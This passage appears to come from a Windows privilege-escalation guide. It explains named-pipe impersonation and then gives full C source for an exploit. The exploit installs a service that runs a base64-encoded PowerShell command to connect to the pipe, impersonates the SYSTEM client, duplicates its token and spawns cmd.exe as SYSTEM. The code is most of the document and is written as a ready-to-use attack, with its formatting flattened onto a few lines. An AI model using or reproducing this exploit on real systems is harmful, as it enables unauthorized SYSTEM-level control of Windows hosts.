Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();
The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
Finally, uses the token obtained from the service to spawn a new cmd.exe
If you don't have enough privileges the exploit may get stucked and never return.
#include<windows.h>#include<time.h>#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")#definePIPESRV"PiperSrv"#defineMESSAGE_SIZE512intServiceGo(void) { SC_HANDLE scManager; SC_HANDLE scService; scManager =OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);if (scManager ==NULL) {returnFALSE; }// create Piper service scService =CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL,NULL,NULL,NULL,NULL);if (scService ==NULL) {//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());returnFALSE; }// launch itStartService(scService,0,NULL);// wait a bit and then cleanupSleep(10000);DeleteService(scService);CloseServiceHandle(scService);CloseServiceHandle(scManager);}intmain() { LPCSTR sPipeName ="\\\\.\\pipe\\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn;char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead =0; HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi;// open pipe hSrvPipe =CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES,1024,1024,0,NULL);// create and run service th =CreateThread(0,0, (LPTHREAD_START_ROUTINE)ServiceGo,NULL,0,0);// wait for the connection from the service bPipeConn =ConnectNamedPipe(hSrvPipe,NULL);if (bPipeConn) {ReadFile(hSrvPipe,&pPipeBuf, MESSAGE_SIZE,&dBRead,NULL);// impersonate the service (SYSTEM)if (ImpersonateNamedPipeClient(hSrvPipe)==0) {return-1; }// wait for the service to cleanupWaitForSingleObject(th, INFINITE);// get a handle to impersonated tokenif (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS,FALSE,&hImpToken)) {return-2; }// create new primary token for new processif (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS,NULL, SecurityDelegation, TokenPrimary,&hNewToken)) {return-4; }//Sleep(20000);// spawn cmd.exe as full SYSTEM userZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe",NULL,NULL,NULL,NULL, (LPSTARTUPINFOW)&si,&pi)) {return-5; }// revert back to original security contextRevertToSelf(); }return0;}